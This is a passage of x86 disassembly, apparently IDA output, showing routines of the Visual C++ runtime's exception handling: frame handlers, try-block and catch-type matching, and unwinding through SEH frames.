		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A820
		add	esp, 8
		test	eax, eax
		jz	short loc_423D83
		mov	[ebp+var_2C], 0
		jmp	short loc_423D8B
; ---------------------------------------------------------------------------


loc_423D83:				; CODE XREF: sub_423CD0+A8j
		call	sub_424940
		mov	[ebp+var_2C], eax


loc_423D8B:				; CODE XREF: sub_423CD0+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_423DBE
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_423DBE
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_423DBE
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_423DBE
		call	sub_424940
		mov	[ebp+var_30], eax
		jmp	short loc_423DC5
; ---------------------------------------------------------------------------


loc_423DBE:				; CODE XREF: sub_423CD0+C4j
					; sub_423CD0+CDj ...
		mov	[ebp+var_30], 0


loc_423DC5:				; CODE XREF: sub_423CD0+3Ej
					; sub_423CD0+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_423F2C
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_423F2C
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_423F2C
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_419620
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_423E24
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: sub_423CD0:loc_423E45j
					; sub_423CD0:loc_423F0Aj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax


loc_423E24:				; CODE XREF: sub_423CD0+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_423F0F
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_423E45
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_423E47


loc_423E45:				; CODE XREF: sub_423CD0+168j
		jmp	short loc_423E12
; ---------------------------------------------------------------------------


loc_423E47:				; CODE XREF: sub_423CD0+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_423E6D
; ---------------------------------------------------------------------------


loc_423E5B:				; CODE XREF: sub_423CD0:loc_423F05j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx


loc_423E6D:				; CODE XREF: sub_423CD0+189j
		cmp	[ebp+var_24], 0
		jle	loc_423F0A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_423EA8
; ---------------------------------------------------------------------------


loc_423E96:				; CODE XREF: sub_423CD0+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx


loc_423EA8:				; CODE XREF: sub_423CD0+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_423F05
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_424090
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423ECD
		jmp	short loc_423E96
; ---------------------------------------------------------------------------


loc_423ECD:				; CODE XREF: sub_423CD0+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424280
; ---------------------------------------------------------------------------
		add	esp, 2Ch
		jmp	short loc_423F6A
; ---------------------------------------------------------------------------


loc_423F05:				; CODE XREF: sub_423CD0+1DCj
		jmp	loc_423E5B
; ---------------------------------------------------------------------------


loc_423F0A:				; CODE XREF: sub_423CD0+1A1j
					; sub_423CD0:loc_423F6Aj
		jmp	loc_423E12
; ---------------------------------------------------------------------------


loc_423F0F:				; CODE XREF: sub_423CD0+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_423F2A
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424760
		add	esp, 8


loc_423F2A:				; CODE XREF: sub_423CD0+24Aj
		jmp	short loc_423F68
; ---------------------------------------------------------------------------


loc_423F2C:				; CODE XREF: sub_423CD0+FEj
					; sub_423CD0+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_423F63
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423F70
		add	esp, 20h
		jmp	short loc_423F68
; ---------------------------------------------------------------------------


loc_423F63:				; CODE XREF: sub_423CD0+267j
		call	sub_424890


loc_423F68:				; CODE XREF: sub_423CD0:loc_423F2Aj
					; sub_423CD0+291j
		jmp	short loc_423F6C
; ---------------------------------------------------------------------------


loc_423F6A:				; CODE XREF: sub_423CD0+233j
		jmp	short loc_423F0A
; ---------------------------------------------------------------------------


loc_423F6C:				; CODE XREF: sub_423CD0+79j
					; sub_423CD0:loc_423F68j
		mov	esp, ebp
		pop	ebp
		retn
sub_423CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F70	proc near		; CODE XREF: sub_423CD0+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_41F970
		cmp	dword ptr [eax+68h], 0
		jz	short loc_423FAE
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4194C0
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_423FAE
		jmp	loc_424081
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F70+Fj
					; sub_423F70+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_419620
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_423FE1
; ---------------------------------------------------------------------------


loc_423FCF:				; CODE XREF: sub_423F70:loc_424039j
					; sub_423F70+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx


loc_423FE1:				; CODE XREF: sub_423F70+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_424081
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_424039
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_424039
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_42403B
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_42403B


loc_424039:				; CODE XREF: sub_423F70+85j
					; sub_423F70+90j
		jmp	short loc_423FCF
; ---------------------------------------------------------------------------


loc_42403B:				; CODE XREF: sub_423F70+A9j
					; sub_423F70+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424280
; ---------------------------------------------------------------------------
		add	esp, 2Ch
		jmp	loc_423FCF
; ---------------------------------------------------------------------------


loc_424081:				; CODE XREF: sub_423F70+39j
					; sub_423F70+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_423F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424090	proc near		; CODE XREF: sub_423CD0+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4240AB
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_4240B5


loc_4240AB:				; CODE XREF: sub_424090+Bj
		mov	eax, 1
		jmp	loc_424142
; ---------------------------------------------------------------------------


loc_4240B5:				; CODE XREF: sub_424090+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_4240E7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jz	short loc_4240E7
		xor	eax, eax
		jmp	short loc_424142
; ---------------------------------------------------------------------------


loc_4240E7:				; CODE XREF: sub_424090+31j
					; sub_424090+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_4240FF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_424138


loc_4240FF:				; CODE XREF: sub_424090+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_424117
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_424138


loc_424117:				; CODE XREF: sub_424090+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_42412F
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_424138


loc_42412F:				; CODE XREF: sub_424090+91j
		mov	[ebp+var_4], 1
		jmp	short loc_42413F
; ---------------------------------------------------------------------------


loc_424138:				; CODE XREF: sub_424090+6Dj
					; sub_424090+85j ...
		mov	[ebp+var_4], 0


loc_42413F:				; CODE XREF: sub_424090+A6j
		mov	eax, [ebp+var_4]


loc_424142:				; CODE XREF: sub_424090+20j
					; sub_424090+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_424090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424150	proc near		; CODE XREF: ___:004193FAp
					; sub_423BE0+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434178
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx


loc_42417F:				; CODE XREF: sub_424150+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_424214
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_4241A5
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_4241A5
		mov	[ebp+var_20], 0
		jmp	short loc_4241AD
; ---------------------------------------------------------------------------


loc_4241A5:				; CODE XREF: sub_424150+3Fj
					; sub_424150+4Aj
		call	sub_424940
		mov	[ebp+var_20], eax


loc_4241AD:				; CODE XREF: sub_424150+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_4241E0
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_424840


loc_4241E0:				; CODE XREF: sub_424150+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_424200
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_424250
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_424200:				; CODE XREF: sub_424150+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_42417F
; ---------------------------------------------------------------------------


loc_424214:				; CODE XREF: sub_424150+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_424225
		mov	[ebp+var_24], 0
		jmp	short loc_42422D
; ---------------------------------------------------------------------------


loc_424225:				; CODE XREF: sub_424150+CAj
		call	sub_424940
		mov	[ebp+var_24], eax


loc_42422D:				; CODE XREF: sub_424150+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424250	proc near		; CODE XREF: sub_424150+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_424271
		jmp	short loc_424276
; ---------------------------------------------------------------------------


loc_424271:				; CODE XREF: sub_424250+1Dj
		call	sub_424890


loc_424276:				; CODE XREF: sub_424250+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_424250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_424280	proc near		; CODE XREF: sub_423CD0+22Bp
					; sub_423F70+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

; FUNCTION CHUNK AT 004242CC SIZE 0000006B BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_4242AA
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4244E0
		add	esp, 10h


loc_4242AA:				; CODE XREF: sub_424280+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_4242BF
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_419340
; ---------------------------------------------------------------------------
		jmp	short loc_4242CC
; ---------------------------------------------------------------------------


loc_4242BF:				; CODE XREF: sub_424280+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_419340
sub_424280	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424280


loc_4242CC:				; CODE XREF: sub_424280+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424150
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424340
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_424333
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4192D0


loc_424333:				; CODE XREF: sub_424280+A4j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424280
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424340	proc near		; CODE XREF: sub_424280+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042447B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434188
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_41F970
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_41F970
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_41F970
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_41F970
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_419410
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_42440F
; ---------------------------------------------------------------------------


loc_4243DE:				; DATA XREF: ___:00434198o
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_424490
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_4196F2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42447E
; ---------------------------------------------------------------------------


loc_42440F:				; CODE XREF: sub_424340+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42441D
		jmp	short loc_42447B
sub_424340	endp


; =============== S U B	R O U T	I N E =======================================



sub_42441D	proc near		; CODE XREF: sub_424340+D6p
					; DATA XREF: ___:00434190o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_41F970
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_41F970
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42447A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42447A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42447A
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_42447A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42447A
		call	sub_41975A
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_424760
		add	esp, 8

locret_42447A:				; CODE XREF: sub_42441D+28j
					; sub_42441D+31j ...
		retn
sub_42441D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424340


loc_42447B:				; CODE XREF: sub_424340+DBj
		mov	eax, [ebp+var_2C]


loc_42447E:				; CODE XREF: sub_424340+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424340
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424490	proc near		; CODE XREF: sub_424340+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_4244CC
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4244CC
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_4244CC
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_4244CC
		mov	eax, 1
		jmp	short loc_4244CE
; ---------------------------------------------------------------------------


loc_4244CC:				; CODE XREF: sub_424490+15j
					; sub_424490+1Ej ...
		xor	eax, eax


loc_4244CE:				; CODE XREF: sub_424490+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_424490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244E0	proc near		; CODE XREF: sub_424280+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4341A0
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_424526
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_424526
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42452B


loc_424526:				; CODE XREF: sub_4244E0+2Dj
					; sub_4244E0+3Bj
		jmp	loc_42474A
; ---------------------------------------------------------------------------


loc_42452B:				; CODE XREF: sub_4244E0+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4245A6
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42A820
		add	esp, 8
		test	eax, eax
		jz	short loc_42459C
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42A850
		add	esp, 8
		test	eax, eax
		jz	short loc_42459C
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_4247F0
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_4245A1
; ---------------------------------------------------------------------------


loc_42459C:				; CODE XREF: sub_4244E0+81j
					; sub_4244E0+93j
		call	sub_424940


loc_4245A1:				; CODE XREF: sub_4244E0+BAj
		jmp	loc_424733
; ---------------------------------------------------------------------------


loc_4245A6:				; CODE XREF: sub_4244E0+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42462A
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42A820
		add	esp, 8
		test	eax, eax
		jz	short loc_424620
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42A850
		add	esp, 8
		test	eax, eax
		jz	short loc_424620
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4197C0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_42461E
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_42461E
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_4247F0
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax


loc_42461E:				; CODE XREF: sub_4244E0+11Aj
					; sub_4244E0+122j
		jmp	short loc_424625
; ---------------------------------------------------------------------------


loc_424620:				; CODE XREF: sub_4244E0+E5j
					; sub_4244E0+F7j
		call	sub_424940


loc_424625:				; CODE XREF: sub_4244E0:loc_42461Ej
		jmp	loc_424733
; ---------------------------------------------------------------------------


